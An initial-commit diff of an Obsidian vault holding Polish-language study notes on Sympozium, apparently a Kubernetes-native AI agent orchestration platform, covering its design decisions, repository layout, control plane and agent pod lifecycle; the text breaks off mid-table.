initial commit
This commit is contained in:
7
.obsidian/app.json
vendored
Normal file
7
.obsidian/app.json
vendored
Normal file
@@ -0,0 +1,7 @@
|
||||
{
|
||||
"showLineNumber": true,
|
||||
"strictLineBreaks": false,
|
||||
"readableLineLength": true,
|
||||
"defaultViewMode": "preview",
|
||||
"promptDelete": false
|
||||
}
|
||||
1
.obsidian/appearance.json
vendored
Normal file
1
.obsidian/appearance.json
vendored
Normal file
@@ -0,0 +1 @@
|
||||
{}
|
||||
33
.obsidian/core-plugins.json
vendored
Normal file
33
.obsidian/core-plugins.json
vendored
Normal file
@@ -0,0 +1,33 @@
|
||||
{
|
||||
"file-explorer": true,
|
||||
"global-search": true,
|
||||
"switcher": true,
|
||||
"graph": true,
|
||||
"backlink": true,
|
||||
"canvas": true,
|
||||
"outgoing-link": true,
|
||||
"tag-pane": true,
|
||||
"footnotes": false,
|
||||
"properties": true,
|
||||
"page-preview": true,
|
||||
"daily-notes": true,
|
||||
"templates": true,
|
||||
"note-composer": true,
|
||||
"command-palette": true,
|
||||
"slash-command": false,
|
||||
"editor-status": true,
|
||||
"bookmarks": true,
|
||||
"markdown-importer": false,
|
||||
"zk-prefixer": false,
|
||||
"random-note": false,
|
||||
"outline": true,
|
||||
"word-count": true,
|
||||
"slides": false,
|
||||
"audio-recorder": false,
|
||||
"workspaces": false,
|
||||
"file-recovery": true,
|
||||
"publish": false,
|
||||
"sync": true,
|
||||
"bases": true,
|
||||
"webviewer": false
|
||||
}
|
||||
72
.obsidian/graph.json
vendored
Normal file
72
.obsidian/graph.json
vendored
Normal file
@@ -0,0 +1,72 @@
|
||||
{
|
||||
"collapse-filter": false,
|
||||
"search": "",
|
||||
"showTags": true,
|
||||
"showAttachments": true,
|
||||
"hideUnresolved": false,
|
||||
"showOrphans": true,
|
||||
"collapse-color-groups": false,
|
||||
"colorGroups": [
|
||||
{
|
||||
"query": "path:01-Przegląd",
|
||||
"color": {
|
||||
"a": 1,
|
||||
"rgb": 3066993
|
||||
}
|
||||
},
|
||||
{
|
||||
"query": "path:02-Architektura",
|
||||
"color": {
|
||||
"a": 1,
|
||||
"rgb": 15105570
|
||||
}
|
||||
},
|
||||
{
|
||||
"query": "path:03-CRD",
|
||||
"color": {
|
||||
"a": 1,
|
||||
"rgb": 10181046
|
||||
}
|
||||
},
|
||||
{
|
||||
"query": "path:04-Zarządzanie-Agentami",
|
||||
"color": {
|
||||
"a": 1,
|
||||
"rgb": 15844367
|
||||
}
|
||||
},
|
||||
{
|
||||
"query": "path:05-Bezpieczeństwo",
|
||||
"color": {
|
||||
"a": 1,
|
||||
"rgb": 15158332
|
||||
}
|
||||
},
|
||||
{
|
||||
"query": "path:06-Komunikacja",
|
||||
"color": {
|
||||
"a": 1,
|
||||
"rgb": 3447003
|
||||
}
|
||||
},
|
||||
{
|
||||
"query": "path:07-Porównania",
|
||||
"color": {
|
||||
"a": 1,
|
||||
"rgb": 1752220
|
||||
}
|
||||
}
|
||||
],
|
||||
"collapse-display": false,
|
||||
"showArrow": true,
|
||||
"textFadeMultiplier": 0.4,
|
||||
"nodeSizeMultiplier": 1,
|
||||
"lineSizeMultiplier": 1,
|
||||
"collapse-forces": false,
|
||||
"centerStrength": 0.518713248970312,
|
||||
"repelStrength": 12.1796875,
|
||||
"linkStrength": 1,
|
||||
"linkDistance": 243,
|
||||
"scale": 0.6085387073818282,
|
||||
"close": false
|
||||
}
|
||||
219
.obsidian/workspace.json
vendored
Normal file
219
.obsidian/workspace.json
vendored
Normal file
@@ -0,0 +1,219 @@
|
||||
{
|
||||
"main": {
|
||||
"id": "1438085991a77041",
|
||||
"type": "split",
|
||||
"children": [
|
||||
{
|
||||
"id": "33bbdaef10851db0",
|
||||
"type": "tabs",
|
||||
"children": [
|
||||
{
|
||||
"id": "30ad8e59905fd540",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "markdown",
|
||||
"state": {
|
||||
"file": "04-Zarządzanie-Agentami/Skill Sidecars i auto-RBAC.md",
|
||||
"mode": "preview",
|
||||
"source": false
|
||||
},
|
||||
"icon": "lucide-file",
|
||||
"title": "Skill Sidecars i auto-RBAC"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"direction": "vertical"
|
||||
},
|
||||
"left": {
|
||||
"id": "cf33d5ec288affa3",
|
||||
"type": "split",
|
||||
"children": [
|
||||
{
|
||||
"id": "9a5245fd274fd84e",
|
||||
"type": "tabs",
|
||||
"children": [
|
||||
{
|
||||
"id": "7c2481a6cc620abc",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "file-explorer",
|
||||
"state": {
|
||||
"sortOrder": "alphabetical",
|
||||
"autoReveal": false
|
||||
},
|
||||
"icon": "lucide-folder-closed",
|
||||
"title": "Przeglądarka plików"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "1ace41ff52e79f6f",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "search",
|
||||
"state": {
|
||||
"query": "",
|
||||
"matchingCase": false,
|
||||
"explainSearch": false,
|
||||
"collapseAll": false,
|
||||
"extraContext": false,
|
||||
"sortOrder": "alphabetical"
|
||||
},
|
||||
"icon": "lucide-search",
|
||||
"title": "Wyszukiwarka"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "17f89513fe4ca44d",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "bookmarks",
|
||||
"state": {},
|
||||
"icon": "lucide-bookmark",
|
||||
"title": "Ulubione"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"direction": "horizontal",
|
||||
"width": 300
|
||||
},
|
||||
"right": {
|
||||
"id": "cc9b3f3574a3ab35",
|
||||
"type": "split",
|
||||
"children": [
|
||||
{
|
||||
"id": "9fa3ab897538c8a6",
|
||||
"type": "tabs",
|
||||
"children": [
|
||||
{
|
||||
"id": "5d66acd011bc92fa",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "backlink",
|
||||
"state": {
|
||||
"file": "04-Zarządzanie-Agentami/Skill Sidecars i auto-RBAC.md",
|
||||
"collapseAll": false,
|
||||
"extraContext": false,
|
||||
"sortOrder": "alphabetical",
|
||||
"showSearch": false,
|
||||
"searchQuery": "",
|
||||
"backlinkCollapsed": false,
|
||||
"unlinkedCollapsed": true
|
||||
},
|
||||
"icon": "links-coming-in",
|
||||
"title": "Linki zwrotne do Skill Sidecars i auto-RBAC"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "1f5f4f8c4dc56708",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "outgoing-link",
|
||||
"state": {
|
||||
"file": "04-Zarządzanie-Agentami/Skill Sidecars i auto-RBAC.md",
|
||||
"linksCollapsed": false,
|
||||
"unlinkedCollapsed": true
|
||||
},
|
||||
"icon": "links-going-out",
|
||||
"title": "Łącza wychodzące od Skill Sidecars i auto-RBAC"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "c298c7c9863bb50f",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "tag",
|
||||
"state": {
|
||||
"sortOrder": "frequency",
|
||||
"useHierarchy": true,
|
||||
"showSearch": false,
|
||||
"searchQuery": ""
|
||||
},
|
||||
"icon": "lucide-tags",
|
||||
"title": "Tagi"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "3e601d078ceb1e82",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "all-properties",
|
||||
"state": {
|
||||
"sortOrder": "frequency",
|
||||
"showSearch": false,
|
||||
"searchQuery": ""
|
||||
},
|
||||
"icon": "lucide-archive",
|
||||
"title": "Wszystkie atrybuty"
|
||||
}
|
||||
},
|
||||
{
|
||||
"id": "db315e8535b67573",
|
||||
"type": "leaf",
|
||||
"state": {
|
||||
"type": "outline",
|
||||
"state": {
|
||||
"file": "04-Zarządzanie-Agentami/Skill Sidecars i auto-RBAC.md",
|
||||
"followCursor": false,
|
||||
"showSearch": false,
|
||||
"searchQuery": ""
|
||||
},
|
||||
"icon": "lucide-list",
|
||||
"title": "Konspekt Skill Sidecars i auto-RBAC"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"direction": "horizontal",
|
||||
"width": 300,
|
||||
"collapsed": true
|
||||
},
|
||||
"left-ribbon": {
|
||||
"hiddenItems": {
|
||||
"switcher:Otwórz okno szybkiego wyboru": false,
|
||||
"graph:Otwórz podgląd grafu": false,
|
||||
"canvas:Stwórz nową tablicę": false,
|
||||
"daily-notes:Otwórz dzisiejszy dziennik": false,
|
||||
"templates:Wstaw szablon": false,
|
||||
"command-palette:Otwórz listę poleceń": false,
|
||||
"bases:Stwórz nową bazę danych": false
|
||||
}
|
||||
},
|
||||
"active": "30ad8e59905fd540",
|
||||
"lastOpenFiles": [
|
||||
"MOC - Sympozium.md",
|
||||
"04-Zarządzanie-Agentami/Persistent Memory.md",
|
||||
"02-Architektura/NATS JetStream - Event Bus.md",
|
||||
"08-Słownik-K8s/NATS JetStream.md",
|
||||
"2026-03-24.md",
|
||||
"Bez nazwy.base",
|
||||
"Bez nazwy 1.base",
|
||||
"Bez nazwy.canvas",
|
||||
"05-Bezpieczeństwo/Agent Sandbox - gVisor i Kata.md",
|
||||
"03-CRD/SympoziumSchedule.md",
|
||||
"03-CRD/SympoziumPolicy.md",
|
||||
"03-CRD/SympoziumInstance.md",
|
||||
"03-CRD/SkillPack.md",
|
||||
"03-CRD/PersonaPack.md",
|
||||
"08-Słownik-K8s/Helm Chart.md",
|
||||
"08-Słownik-K8s/StatefulSet.md",
|
||||
"03-CRD/MCPServer.md",
|
||||
"08-Słownik-K8s/DaemonSet.md",
|
||||
"08-Słownik-K8s/RuntimeClass.md",
|
||||
"08-Słownik-K8s/Namespace.md",
|
||||
"03-CRD/AgentRun.md",
|
||||
"08-Słownik-K8s/Sidecar Pattern.md",
|
||||
"08-Słownik-K8s/PersistentVolumeClaim.md",
|
||||
"08-Słownik-K8s/ConfigMap i Secret.md",
|
||||
"02-Architektura/Przepływ danych i IPC.md",
|
||||
"08-Słownik-K8s/ownerReference.md",
|
||||
"08-Słownik-K8s/Finalizer.md",
|
||||
"08-Słownik-K8s/Controller i Reconciler.md",
|
||||
"08-Słownik-K8s/Kata Containers.md",
|
||||
"08-Słownik-K8s"
|
||||
]
|
||||
}
|
||||
57
01-Przegląd/Czym jest Sympozium.md
Normal file
57
01-Przegląd/Czym jest Sympozium.md
Normal file
@@ -0,0 +1,57 @@
|
||||
# Czym jest Sympozium
|
||||
|
||||
#sympozium #przegląd
|
||||
|
||||
## Definicja
|
||||
|
||||
Sympozium to **Kubernetes-natywna platforma orkiestracji agentów AI** napisana w Go. Każdy agent AI działa jako efemeryczny pod Kubernetes (Job), z wymuszaniem polityk przez CRD, admission webhooks i RBAC. Komunikacja odbywa się przez NATS JetStream i IPC oparty na systemie plików.
|
||||
|
||||
## Dwa przypadki użycia
|
||||
|
||||
Sympozium obsługuje dwa potężne scenariusze na jednej platformie:
|
||||
|
||||
### 1. Orkiestracja flot agentów AI
|
||||
- Customer support, code review, data pipelines, dowolne workflow domenowe
|
||||
- Każdy agent dostaje własny pod, RBAC i network policy z izolacją tenanta
|
||||
|
||||
### 2. Agentowe administrowanie klastrem
|
||||
- Agenty skierowane "do wewnątrz" - diagnoza awarii, skalowanie, triage alertów, remediacja
|
||||
- Pełna izolacja, RBAC i audit trail na poziomie Kubernetes
|
||||
|
||||
## Kluczowe cechy
|
||||
|
||||
| Cecha | Opis |
|
||||
|-------|------|
|
||||
| **[[PersonaPack\|PersonaPacks]]** | Bundle'e Helm-like dla agentów - aktywuj pack, controller tworzy cały zespół |
|
||||
| **[[Skill Sidecars i auto-RBAC\|Skill Sidecars]]** | Każdy skill w osobnym sidecarze z efemerycznym RBAC least-privilege |
|
||||
| **Multi-Channel** | Telegram, Slack, Discord, WhatsApp - każdy kanał jako dedykowany Deployment |
|
||||
| **[[Persistent Memory]]** | SQLite + FTS5 na PersistentVolume - pamięć przetrwa restarty podów |
|
||||
| **Scheduled Heartbeats** | Cron-owe uruchomienia agentów: health checks, alert triage, right-sizing |
|
||||
| **[[Agent Sandbox - gVisor i Kata\|Agent Sandbox]]** | Izolacja na poziomie kernela via gVisor/Kata z warm pools |
|
||||
| **[[MCPServer\|MCP Servers]]** | External tool providers via Model Context Protocol |
|
||||
| **TUI & Web UI** | Dashboardy terminalowe i przeglądarkowe |
|
||||
| **Any AI Provider** | OpenAI, Anthropic, Azure, Ollama - bez vendor lock-in |
|
||||
|
||||
## Technologia
|
||||
|
||||
- **Język:** Go 1.25+
|
||||
- **Moduł:** `github.com/sympozium-ai/sympozium`
|
||||
- **K8s API:** `sympozium.ai/v1alpha1`
|
||||
- **Licencja:** Apache 2.0
|
||||
- **Autor:** twórca [[https://github.com/k8sgpt-ai/k8sgpt|k8sgpt]] i [[https://github.com/AlexsJones/llmfit|llmfit]]
|
||||
|
||||
## Filozofia projektu
|
||||
|
||||
> "From Kubernetes, for Kubernetes"
|
||||
|
||||
Projekt traktuje Kubernetes nie jako platformę deploymentu, ale jako **framework orkiestracji agentów**. Każdy koncept (agent, polityka, skill, schedule) jest wyrażony jako CRD i zarządzany przez dedykowany controller. To podejście pozwala na:
|
||||
|
||||
- **Deklaratywność** - stan pożądany opisany w YAML
|
||||
- **Reconciliation loops** - automatyczne naprawianie driftu
|
||||
- **ownerReferences** - automatyczne garbage collection
|
||||
- **RBAC** - natywna wielotenancja
|
||||
- **NetworkPolicy** - natywna izolacja sieciowa
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Kluczowe decyzje projektowe]] | [[Control Plane]] | [[Struktura repozytorium]]
|
||||
64
01-Przegląd/Kluczowe decyzje projektowe.md
Normal file
64
01-Przegląd/Kluczowe decyzje projektowe.md
Normal file
@@ -0,0 +1,64 @@
|
||||
# Kluczowe decyzje projektowe
|
||||
|
||||
#sympozium #architektura #design-decisions
|
||||
|
||||
## Tabela decyzji
|
||||
|
||||
| Decyzja | Prymityw K8s | Uzasadnienie |
|
||||
|---------|-------------|--------------|
|
||||
| **Jeden [[Pod]] per agent run** | [[Job]] | Izolacja blast-radius, limity zasobów, automatyczne czyszczenie |
|
||||
| **Filesystem IPC** | emptyDir volume | Agent pisze do `/ipc/`, [[Sidecar Pattern\|bridge sidecar]] obserwuje via fsnotify i publikuje do [[NATS JetStream]] |
|
||||
| **[[NATS JetStream]]** | [[StatefulSet]] | Durable pub/sub z replay - kanały i control plane bez bezpośredniego couplingu |
|
||||
| **[[NetworkPolicy]] isolation** | NetworkPolicy | Agent pods mają deny-all egress; tylko IPC bridge łączy się z event busem |
|
||||
| **Policy-as-[[CRD - Custom Resource Definition\|CRD]]** | [[Admission Webhook]] | `SympoziumPolicy` gatuje narzędzia i sandboxe - enforcement at admission time |
|
||||
| **Memory-as-SQLite** | [[PersistentVolumeClaim\|PVC]] + sidecar | SQLite z FTS5 na PVC - semantic search, tagging, upgradeable do vector search |
|
||||
| **Schedule-as-CRD** | CronJob analogy | `SympoziumSchedule` definiuje recurring tasks z cron expressions |
|
||||
| **Skills-as-[[ConfigMap i Secret\|ConfigMap]]** | ConfigMap volume | SkillPacks generują ConfigMapy montowane w agent pods |
|
||||
| **Skill [[Sidecar Pattern\|sidecars]] z auto-[[RBAC]]** | Role/ClusterRole | [[Controller i Reconciler\|Controller]] auto-provisionuje efemeryczny RBAC per run |
|
||||
| **PersonaPacks** | Operator Bundle | Controller stampuje SympoziumInstances, Schedules i memory ConfigMaps |
|
||||
| **MCP servers as CRD** | [[Deployment]] + Service | MCPServer CRD zarządza lifecycle, probes tools, bridge translates protocol |
|
||||
| **Node probe [[DaemonSet]]** | DaemonSet | Odkrywa lokalne inference providers - annotuje nody |
|
||||
|
||||
## Analiza filozofii architekturalnej
|
||||
|
||||
### Ephemeral over Persistent
|
||||
|
||||
Fundamentalna decyzja: **każde wywołanie agenta to nowy pod**. To odwrotność podejścia kagent/CrewAI/LangChain, gdzie agent żyje w długo działającym procesie.
|
||||
|
||||
**Zalety:**
|
||||
- Blast-radius ograniczony do jednego poda
|
||||
- Natywne skalowanie horyzontalne
|
||||
- Automatyczne czyszczenie po zakończeniu
|
||||
- Każdy run ma własny [[SecurityContext]]
|
||||
|
||||
**Wady:**
|
||||
- Cold-start per invocation (mitygowany przez warm pools)
|
||||
- Brak stanu w pamięci między runami (mitygowany przez persistent memory)
|
||||
|
||||
### IPC przez system plików
|
||||
|
||||
Agent nie komunikuje się bezpośrednio z control plane. Zamiast tego:
|
||||
|
||||
```
|
||||
Agent → /ipc/*.json → fsnotify watcher → NATS → Controller
|
||||
```
|
||||
|
||||
To podejście:
|
||||
- Eliminuje zależności sieciowe w kontenerze agenta
|
||||
- Jest language-agnostic (agent mógłby być w dowolnym języku)
|
||||
- Pozwala na prostą inspekcję (pliki JSON w woluminie)
|
||||
|
||||
### Kubernetes jako framework, nie deployment target
|
||||
|
||||
Sympozium nie "deployuje się na Kubernetes" - ono **jest Kubernetes**. Każdy koncept platformy mapuje się 1:1 na prymitywy K8s:
|
||||
|
||||
- Agent → [[Job]]/[[Pod]]
|
||||
- Polityka → [[CRD - Custom Resource Definition|CRD]] + [[Admission Webhook]]
|
||||
- Skill → [[ConfigMap i Secret|ConfigMap]] + [[Sidecar Pattern|Sidecar]] + ephemeral [[RBAC]]
|
||||
- Schedule → CronJob-like CRD
|
||||
- Kanał → [[Deployment]]
|
||||
- Memory → [[PersistentVolumeClaim|PVC]] + SQLite
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Czym jest Sympozium]] | [[Control Plane]] | [[Model bezpieczeństwa Defence-in-Depth]]
|
||||
78
01-Przegląd/Struktura repozytorium.md
Normal file
78
01-Przegląd/Struktura repozytorium.md
Normal file
@@ -0,0 +1,78 @@
|
||||
# Struktura repozytorium
|
||||
|
||||
#sympozium #kod
|
||||
|
||||
## Layout
|
||||
|
||||
```
|
||||
sympozium/
|
||||
├── api/v1alpha1/ # Definicje typów CRD (Go)
|
||||
├── cmd/ # Binaria
|
||||
│ ├── agent-runner/ # Agent w podzie (LLM loop + tool execution)
|
||||
│ ├── controller/ # Controller manager (wszystkie reconcilery)
|
||||
│ ├── apiserver/ # HTTP + WebSocket API server
|
||||
│ ├── ipc-bridge/ # IPC bridge sidecar (fsnotify → NATS)
|
||||
│ ├── memory-server/ # Memory sidecar (SQLite + FTS5)
|
||||
│ ├── web-proxy/ # Web proxy (OpenAI-compat + MCP gateway)
|
||||
│ ├── webhook/ # Admission webhook
|
||||
│ ├── node-probe/ # DaemonSet odkrywający inference providers
|
||||
│ └── sympozium/ # CLI + TUI (Bubble Tea)
|
||||
├── web/ # Web dashboard (React + TypeScript + Vite)
|
||||
├── channels/ # Implementacje kanałów
|
||||
│ ├── telegram/
|
||||
│ ├── slack/
|
||||
│ ├── discord/
|
||||
│ └── whatsapp/
|
||||
├── internal/ # Pakiety wewnętrzne
|
||||
│ ├── controller/ # 6 reconcilerów + routery
|
||||
│ ├── orchestrator/ # PodBuilder & Spawner
|
||||
│ ├── apiserver/ # Handlery API
|
||||
│ ├── mcpbridge/ # MCP bridge sidecar
|
||||
│ ├── eventbus/ # NATS JetStream
|
||||
│ ├── ipc/ # IPC bridge
|
||||
│ ├── webhook/ # Enforcement polityk
|
||||
│ ├── webproxy/ # OpenAI proxy + MCP + rate limiting
|
||||
│ ├── session/ # Sesje (PostgreSQL)
|
||||
│ └── channel/ # Bazowe typy kanałów
|
||||
├── config/ # Manifesty K8s
|
||||
│ ├── crd/bases/ # Wygenerowane CRD YAML
|
||||
│ ├── personas/ # Wbudowane PersonaPacks
|
||||
│ ├── skills/ # Wbudowane SkillPacks
|
||||
│ ├── policies/ # Presety SympoziumPolicy
|
||||
│ └── samples/ # Przykładowe CR
|
||||
├── charts/sympozium/ # Helm chart
|
||||
├── migrations/ # Migracje PostgreSQL
|
||||
├── test/integration/ # Testy integracyjne (shell)
|
||||
├── docs/ # Dokumentacja
|
||||
└── images/ # Dockerfiles
|
||||
```
|
||||
|
||||
## Kluczowe pliki
|
||||
|
||||
| Plik | Rola |
|
||||
|------|------|
|
||||
| `api/v1alpha1/*_types.go` | Definicje wszystkich CRD |
|
||||
| `internal/controller/agentrun_controller.go` | Serce systemu - reconciliation AgentRun → Job/Sandbox |
|
||||
| `internal/controller/sympoziuminstance_controller.go` | Zarządzanie instancjami, kanałami, memory |
|
||||
| `internal/orchestrator/podbuilder.go` | Budowanie spec'ów podów agentów |
|
||||
| `cmd/agent-runner/tools.go` | 7 wbudowanych narzędzi agenta |
|
||||
| `internal/eventbus/types.go` | Definicje tematów NATS |
|
||||
|
||||
## Komponenty jako kontenery
|
||||
|
||||
| Komponent | Obraz | Rola |
|
||||
|-----------|-------|------|
|
||||
| `controller` | Controller manager | Reconciluje wszystkie CRD |
|
||||
| `apiserver` | API server | HTTP + WebSocket + embedded web UI |
|
||||
| `agent-runner` | Agent | LLM provider agnostic runner |
|
||||
| `ipc-bridge` | Sidecar | fsnotify → NATS bridge |
|
||||
| `mcp-bridge` | Sidecar | MCP protocol translator |
|
||||
| `memory-server` | Sidecar/Deployment | SQLite + FTS5 |
|
||||
| `web-proxy` | Web proxy | OpenAI-compat API |
|
||||
| `webhook` | Admission webhook | Policy enforcement |
|
||||
| `node-probe` | DaemonSet | Inference discovery |
|
||||
| `channel-*` | Channel pods | Telegram, Slack, Discord, WhatsApp |
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Czym jest Sympozium]] | [[Control Plane]]
|
||||
88
02-Architektura/Control Plane.md
Normal file
88
02-Architektura/Control Plane.md
Normal file
@@ -0,0 +1,88 @@
|
||||
# Control Plane
|
||||
|
||||
#sympozium #architektura #control-plane
|
||||
|
||||
## Komponenty
|
||||
|
||||
Control Plane Sympozium składa się z następujących komponentów:
|
||||
|
||||
### Controller Manager
|
||||
Serce systemu. Zawiera **6 [[Controller i Reconciler|reconcilerów]]** + 2 routery:
|
||||
|
||||
| Reconciler | CRD | Odpowiedzialność |
|
||||
|------------|-----|------------------|
|
||||
| `AgentRunReconciler` | AgentRun | Tworzy Job/Sandbox CR, monitoruje lifecycle, zbiera wyniki |
|
||||
| `SympoziumInstanceReconciler` | SympoziumInstance | Zarządza kanałami, memory, web endpoints |
|
||||
| `PersonaPackReconciler` | PersonaPack | Stampuje instancje, schedules, memory z packów |
|
||||
| `SkillPackReconciler` | SkillPack | Generuje ConfigMapy ze skilli |
|
||||
| `SympoziumPolicyReconciler` | SympoziumPolicy | Zarządza politykami |
|
||||
| `SympoziumScheduleReconciler` | SympoziumSchedule | Tworzy AgentRuns wg harmonogramu cron |
|
||||
| `MCPServerReconciler` | MCPServer | Deployuje i probeuje MCP serwery |
|
||||
|
||||
**Routery** (reagują na eventy NATS):
|
||||
- `ChannelRouter` - przetwarza wiadomości z kanałów → tworzy AgentRun
|
||||
- `ScheduleRouter` - obsługuje `schedule.upsert` z agentów → tworzy/aktualizuje SympoziumSchedule
|
||||
|
||||
### API Server
|
||||
- HTTP + WebSocket API
|
||||
- Serwuje embedded web UI (React)
|
||||
- Czyta annotacje node'ów (inference discovery)
|
||||
- Sesje i historia w PostgreSQL
|
||||
|
||||
### [[Admission Webhook]]
|
||||
- Enforces `SympoziumPolicy` przy tworzeniu AgentRun
|
||||
- Waliduje sandbox requirements, tool gating, feature gates
|
||||
- Działa at admission time, nie at runtime
|
||||
|
||||
### [[NATS JetStream]]
|
||||
- Durable pub/sub event bus
|
||||
- Decouples kanały od control plane
|
||||
- Replay capability dla niezawodności
|
||||
|
||||
## Warstwa danych
|
||||
|
||||
| Magazyn | Zastosowanie |
|
||||
|---------|-------------|
|
||||
| **etcd** | [[CRD - Custom Resource Definition|CRD]] state (via K8s API) |
|
||||
| **PostgreSQL** | Sesje, historia konwersacji |
|
||||
| **SQLite + FTS5** | Persistent memory agentów (na PVC) |
|
||||
| **[[ConfigMap i Secret\|ConfigMaps]]** | Skills, legacy memory |
|
||||
| **[[ConfigMap i Secret\|Secrets]]** | Klucze API providerów |
|
||||
|
||||
## Przepływ reconciliation
|
||||
|
||||
```
|
||||
User/Channel → Wiadomość
|
||||
↓
|
||||
Channel Pod → NATS (channel.message.received)
|
||||
↓
|
||||
Channel Router → Tworzy AgentRun CR
|
||||
↓
|
||||
AgentRun Reconciler:
|
||||
1. Walidacja polityki (SympoziumPolicy)
|
||||
2. Tworzenie input ConfigMap (task + system prompt)
|
||||
3. Rozwiązywanie skill sidecars (SkillPack CRDs)
|
||||
4. Rozwiązywanie MCP serverów
|
||||
5. Tworzenie Job/Sandbox CR z:
|
||||
- Agent container
|
||||
- IPC bridge sidecar
|
||||
- Skill sidecars (z auto-provisioned RBAC)
|
||||
- MCP bridge sidecar (opcjonalnie)
|
||||
- Sandbox sidecar (opcjonalnie)
|
||||
6. Monitorowanie faz: Pending → Running → Succeeded/Failed
|
||||
7. Zbieranie wyników z logów poda
|
||||
8. Ekstrakcja memory updates
|
||||
9. Czyszczenie RBAC i zasobów
|
||||
```
|
||||
|
||||
## Metryki OTel
|
||||
|
||||
Controller eksportuje metryki OpenTelemetry:
|
||||
- `sympozium.agent.runs` - counter zakończonych runów
|
||||
- `sympozium.agent.duration_ms` - histogram czasu trwania
|
||||
- `sympozium.errors` - counter błędów
|
||||
- `sympozium.web_endpoint.serving` - aktywne deployments server-mode
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Cykl życia Agent Pod]] | [[NATS JetStream - Event Bus]] | [[Orchestrator - PodBuilder i Spawner]]
|
||||
114
02-Architektura/Cykl życia Agent Pod.md
Normal file
114
02-Architektura/Cykl życia Agent Pod.md
Normal file
@@ -0,0 +1,114 @@
|
||||
# Cykl życia Agent Pod
|
||||
|
||||
#sympozium #architektura #agent-pod
|
||||
|
||||
## Anatomia Agent Pod
|
||||
|
||||
Każdy agent run tworzy pod z następującymi kontenerami:
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────┐
|
||||
│ Agent Pod (Job) │
|
||||
│ │
|
||||
│ ┌─────────────┐ ┌─────────────┐ ┌──────────────┐ │
|
||||
│ │ Agent │ │ IPC Bridge │ │ Skill Sidecar│ │
|
||||
│ │ Container │ │ Sidecar │ │ (kubectl, │ │
|
||||
│ │ │ │ │ │ helm, etc.) │ │
|
||||
│ │ - LLM loop │ │ - fsnotify │ │ │ │
|
||||
│ │ - Tool exec │ │ - NATS pub │ │ - /workspace │ │
|
||||
│ │ - /skills │ │ - /ipc │ │ - RBAC scope │ │
|
||||
│ └──────┬──────┘ └──────┬──────┘ └──────┬───────┘ │
|
||||
│ │ │ │ │
|
||||
│ /workspace /ipc (tmpfs) /workspace │
|
||||
│ /skills (ro) (RAM-backed) │
|
||||
│ /ipc │
|
||||
│ /tmp │
|
||||
│ │
|
||||
│ ┌──────────────┐ ┌──────────────┐ │
|
||||
│ │ MCP Bridge │ │ Sandbox │ │
|
||||
│ │ (opcjonalny) │ │ (opcjonalny) │ │
|
||||
│ └──────────────┘ └──────────────┘ │
|
||||
└─────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
## Woluminy
|
||||
|
||||
| Wolumin | Typ | Rozmiar | Cel |
|
||||
|---------|-----|---------|-----|
|
||||
| `workspace` | emptyDir | 1Gi | Współdzielone pliki robocze agent ↔ sidecary |
|
||||
| `ipc` | emptyDir (RAM) | 64Mi | JSON IPC: agent → bridge → NATS |
|
||||
| `skills` | Projected ConfigMap | - | Markdown instrukcje ze SkillPacks (read-only) |
|
||||
| `tmp` | emptyDir | 256Mi | Tymczasowe pliki (read-only root FS) |
|
||||
|
||||
## [[SecurityContext]] agenta
|
||||
|
||||
Hardened security context - patrz [[SecurityContext]] dla wyjaśnienia poszczególnych pól:
|
||||
|
||||
```go
|
||||
SecurityContext: &corev1.SecurityContext{
|
||||
ReadOnlyRootFilesystem: &readOnly, // true - root FS read-only
|
||||
AllowPrivilegeEscalation: &noPrivEsc, // false - blokuje setuid
|
||||
Capabilities: &corev1.Capabilities{
|
||||
Drop: []corev1.Capability{"ALL"}, // Drop ALL Linux capabilities
|
||||
},
|
||||
}
|
||||
```
|
||||
|
||||
## Zasoby
|
||||
|
||||
| Kontener | CPU Request | CPU Limit | Memory Request | Memory Limit |
|
||||
|----------|-------------|-----------|----------------|--------------|
|
||||
| Agent | 250m | 1 | 512Mi | 1Gi |
|
||||
| IPC Bridge | 50m | 100m | 64Mi | 128Mi |
|
||||
| Sandbox | 100m | 500m | 256Mi | 512Mi |
|
||||
|
||||
## Fazy lifecycle
|
||||
|
||||
```
|
||||
Pending → Running → Succeeded
|
||||
→ Failed
|
||||
→ Serving (tryb server)
|
||||
```
|
||||
|
||||
### Pending
|
||||
1. Walidacja polityki
|
||||
2. Tworzenie ServiceAccount `sympozium-agent`
|
||||
3. Tworzenie input ConfigMap (task, system prompt, memory)
|
||||
4. Rozwiązywanie sidecars i RBAC
|
||||
5. Tworzenie Job/Sandbox CR
|
||||
|
||||
### Running
|
||||
- Polling statusu poda co 10 sekund
|
||||
- Monitorowanie completion/failure
|
||||
|
||||
### Succeeded/Failed
|
||||
1. Zbieranie logów poda (wynik agenta)
|
||||
2. Ekstrakcja memory markers z outputu
|
||||
3. Aktualizacja memory ConfigMap
|
||||
4. Usuwanie efemerycznego RBAC
|
||||
5. Pruning historii (domyślnie 50 runów per instancja)
|
||||
6. Usuwanie finalizera
|
||||
|
||||
### Serving (tryb server)
|
||||
- Deployment zamiast Job
|
||||
- Service dla routowania
|
||||
- Używany dla web-endpoint
|
||||
- Długo żyjący, nie jest garbage-collectowany po zakończeniu
|
||||
|
||||
## Zmienne środowiskowe agenta
|
||||
|
||||
| Zmienna | Wartość |
|
||||
|---------|---------|
